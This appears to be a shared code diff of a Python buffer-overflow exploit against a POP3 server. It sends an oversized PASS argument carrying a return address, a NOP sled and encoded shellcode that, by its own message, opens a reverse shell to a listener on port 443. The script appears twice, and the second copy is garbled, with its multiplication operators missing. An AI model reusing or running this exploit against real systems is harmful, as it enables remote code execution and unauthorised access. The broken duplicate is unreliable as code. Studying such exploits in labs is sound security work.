tresacton · August 29, 2015 14:01
diff --git a/buffover.py b/buffover.py
 #!/usr/bin/python
 import socket
 
 #Created a buffer with 2700 bytes generated by the pattern_create tool, the EIP offset was at 2606	
 payload = ("\xd9\xeb\xba\x23\x9c\x95\x03\xd9\x74\x24\xf4\x58\x33\xc9" +
 "\xb1\x4f\x31\x50\x19\x83\xe8\xfc\x03\x50\x15\xc1\x69\x69" +
 "\xeb\x8c\x92\x92\xec\xee\x1b\x77\xdd\x3c\x7f\xf3\x4c\xf0" +
 "\x0b\x51\x7d\x7b\x59\x42\xf6\x09\x76\x65\xbf\xa7\xa0\x48" +
 "\x40\x06\x6d\x06\x82\x09\x11\x55\xd7\xe9\x28\x96\x2a\xe8" +
 "\x6d\xcb\xc5\xb8\x26\x87\x74\x2c\x42\xd5\x44\x4d\x84\x51" +
 "\xf4\x35\xa1\xa6\x81\x8f\xa8\xf6\x3a\x84\xe3\xee\x31\xc2" +
 "\xd3\x0f\x95\x11\x2f\x59\x92\xe1\xdb\x58\x72\x38\x23\x6b" +
 "\xba\x96\x1a\x43\x37\xe7\x5b\x64\xa8\x92\x97\x96\x55\xa4" +
 "\x63\xe4\x81\x21\x76\x4e\x41\x91\x52\x6e\x86\x47\x10\x7c" +
 "\x63\x0c\x7e\x61\x72\xc1\xf4\x9d\xff\xe4\xda\x17\xbb\xc2" +
 "\xfe\x7c\x1f\x6b\xa6\xd8\xce\x94\xb8\x85\xaf\x30\xb2\x24" +
 "\xbb\x42\x99\x20\x08\x78\x22\xb1\x06\x0b\x51\x83\x89\xa7" +
 "\xfd\xaf\x42\x61\xf9\xd0\x78\xd5\x95\x2e\x83\x25\xbf\xf4" +
 "\xd7\x75\xd7\xdd\x57\x1e\x27\xe1\x8d\xb0\x77\x4d\x7e\x70" +
 "\x28\x2d\x2e\x18\x22\xa2\x11\x38\x4d\x68\x24\x7f\xda\x53" +
 "\x9f\x75\x80\x3c\xe2\x89\xb7\x07\x6b\x6f\xdd\x67\x3a\x38" +
 "\x4a\x11\x67\xb2\xeb\xde\xbd\x52\x8f\x4d\x5a\xa2\xc6\x6d" +
 "\xf5\xf5\x8f\x40\x0c\x93\x3d\xfa\xa6\x81\xbf\x9a\x81\x01" +
 "\x64\x5f\x0f\x88\xe9\xdb\x2b\x9a\x37\xe3\x77\xce\xe7\xb2" +
 "\x21\xb8\x41\x6d\x80\x12\x18\xc2\x4a\xf2\xdd\x28\x4d\x84" +
 "\xe1\x64\x3b\x68\x53\xd1\x7a\x97\x5c\xb5\x8a\xe0\x80\x25" +
 "\x74\x3b\x01\x45\x97\xe9\x7c\xee\x0e\x78\x3d\x73\xb1\x57" +
 "\x02\x8a\x32\x5d\xfb\x69\x2a\x14\xfe\x36\xec\xc5\x72\x26" +
 "\x99\xe9\x21\x47\x88"
 )

 buffer = "A"*2606 + "\x8f\x35\x4a\x5f" + "\x90" * 8 + payload


 try:
 print 	"Sending PASS buffer (should get a shell on LHOST=192.168.10.155 LPORT=443)"	
 s=socket.socket(socket.AF_INET, socket.SOCK_STREAM)
 s.connect(('192.168.11.136',110))
 s.recv(1024)
 s.send('USER,test\r\n')
 s.recv(1024)
 s.send('PASS,' + buffer + '\r\n')
 s.close()
 print "Buffer sent"
 except:
  print "An error occured"
	#!/usr/bin/python
	import socket

	#Created a buffer with 2700 bytes generated by the pattern_create tool, the EIP offset was at 2606
	payload = ("\xd9\xeb\xba\x23\x9c\x95\x03\xd9\x74\x24\xf4\x58\x33\xc9" +
	"\xb1\x4f\x31\x50\x19\x83\xe8\xfc\x03\x50\x15\xc1\x69\x69" +
	"\xeb\x8c\x92\x92\xec\xee\x1b\x77\xdd\x3c\x7f\xf3\x4c\xf0" +
	"\x0b\x51\x7d\x7b\x59\x42\xf6\x09\x76\x65\xbf\xa7\xa0\x48" +
	"\x40\x06\x6d\x06\x82\x09\x11\x55\xd7\xe9\x28\x96\x2a\xe8" +
	"\x6d\xcb\xc5\xb8\x26\x87\x74\x2c\x42\xd5\x44\x4d\x84\x51" +
	"\xf4\x35\xa1\xa6\x81\x8f\xa8\xf6\x3a\x84\xe3\xee\x31\xc2" +
	"\xd3\x0f\x95\x11\x2f\x59\x92\xe1\xdb\x58\x72\x38\x23\x6b" +
	"\xba\x96\x1a\x43\x37\xe7\x5b\x64\xa8\x92\x97\x96\x55\xa4" +
	"\x63\xe4\x81\x21\x76\x4e\x41\x91\x52\x6e\x86\x47\x10\x7c" +
	"\x63\x0c\x7e\x61\x72\xc1\xf4\x9d\xff\xe4\xda\x17\xbb\xc2" +
	"\xfe\x7c\x1f\x6b\xa6\xd8\xce\x94\xb8\x85\xaf\x30\xb2\x24" +
	"\xbb\x42\x99\x20\x08\x78\x22\xb1\x06\x0b\x51\x83\x89\xa7" +
	"\xfd\xaf\x42\x61\xf9\xd0\x78\xd5\x95\x2e\x83\x25\xbf\xf4" +
	"\xd7\x75\xd7\xdd\x57\x1e\x27\xe1\x8d\xb0\x77\x4d\x7e\x70" +
	"\x28\x2d\x2e\x18\x22\xa2\x11\x38\x4d\x68\x24\x7f\xda\x53" +
	"\x9f\x75\x80\x3c\xe2\x89\xb7\x07\x6b\x6f\xdd\x67\x3a\x38" +
	"\x4a\x11\x67\xb2\xeb\xde\xbd\x52\x8f\x4d\x5a\xa2\xc6\x6d" +
	"\xf5\xf5\x8f\x40\x0c\x93\x3d\xfa\xa6\x81\xbf\x9a\x81\x01" +
	"\x64\x5f\x0f\x88\xe9\xdb\x2b\x9a\x37\xe3\x77\xce\xe7\xb2" +
	"\x21\xb8\x41\x6d\x80\x12\x18\xc2\x4a\xf2\xdd\x28\x4d\x84" +
	"\xe1\x64\x3b\x68\x53\xd1\x7a\x97\x5c\xb5\x8a\xe0\x80\x25" +
	"\x74\x3b\x01\x45\x97\xe9\x7c\xee\x0e\x78\x3d\x73\xb1\x57" +
	"\x02\x8a\x32\x5d\xfb\x69\x2a\x14\xfe\x36\xec\xc5\x72\x26" +
	"\x99\xe9\x21\x47\x88"
	)

	buffer = "A"2606 + "\x8f\x35\x4a\x5f" + "\x90" 8 + payload


	try:
	print "Sending PASS buffer (should get a shell on LHOST=192.168.10.155 LPORT=443)"
	s=socket.socket(socket.AF_INET, socket.SOCK_STREAM)
	s.connect(('192.168.11.136',110))
	s.recv(1024)
	s.send('USER,test\r\n')
	s.recv(1024)
	s.send('PASS,' + buffer + '\r\n')
	s.close()
	print "Buffer sent"
	except:
	print "An error occured"